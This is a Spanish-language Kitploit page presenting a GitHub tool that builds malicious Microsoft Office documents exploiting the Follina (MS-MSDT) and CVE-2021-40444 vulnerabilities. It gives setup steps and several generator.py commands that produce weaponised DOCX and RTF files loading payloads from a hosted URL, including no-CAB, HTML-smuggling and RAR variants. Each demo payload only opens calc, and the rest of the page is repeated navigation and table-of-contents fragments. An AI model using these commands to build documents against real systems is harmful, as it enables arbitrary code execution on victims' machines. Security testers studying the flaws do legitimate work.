Follina-CVE-and-CVE-2021-40444 — Este repositorio contiene scripts y recursos para explotar las vulnerabilidades Follina CVE y CVE-2021-40444 en Microsoft Office. Los scripts generan archivos de documentos maliciosos que pueden ejecutar código arbitrario en el sistema de destino. | Kitploit

Python y entorno virtual:

git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
cd CVE-2021-40444

Asegúrate de que Python y pip estén instalados en la máquina virtual.
Instala el paquete virtualenv usando el siguiente comando:
```
pip install virtualenv
```
Crea un entorno virtual llamado venv:
```
python -m virtualenv venv
```
Activa el entorno virtual:
```
venv\Scripts\activate.bat
```
Instala los paquetes requeridos:
```
pip install -r requirements.txt
```

Generando el exploit:
- Navega al directorio del proyecto y ejecuta el siguiente comando para generar el exploit:
```
python generator.py -u http://192.168.197.132 -P test\calc.dll --host
```
  Reemplaza 192.168.197.132 con tu dirección IP.
Accediendo al documento generado:
- El archivo .docx generado estará ubicado en el directorio:
```
C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
```

Genera el exploit original y pruébalo localmente:

python generator.py -u http://127.0.0.1 -P test\calc.dll --host

Genera el exploit sin CAB aprovechando MS-MSDT (ataque Follina), en documentos DOCX y RTF:
```
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
```
Genera el exploit sin CAB (solo IE) con contrabando de HTML y pruébalo localmente a través de IE:
```
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
```
Genera el exploit sin CAB con RAR y pruébalo localmente a través de IE:
```
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
```

Follina-CVE-and-CVE-2021-40444

Más Populares

Uso

Explicación detallada

Explotación de la cadena

Resumen de los scripts

`generator.py`

`cab_parser.py`

Sección 2.0: Configuración en Flare VM

Comandos

Descargo de responsabilidad

Follina-CVE-and-CVE-2021-40444

Más Populares

Explotando las vulnerabilidades Follina y CVE-2021-40444

Tabla de contenidos

Introducción

Requisitos previos

Configuración e instalación

Uso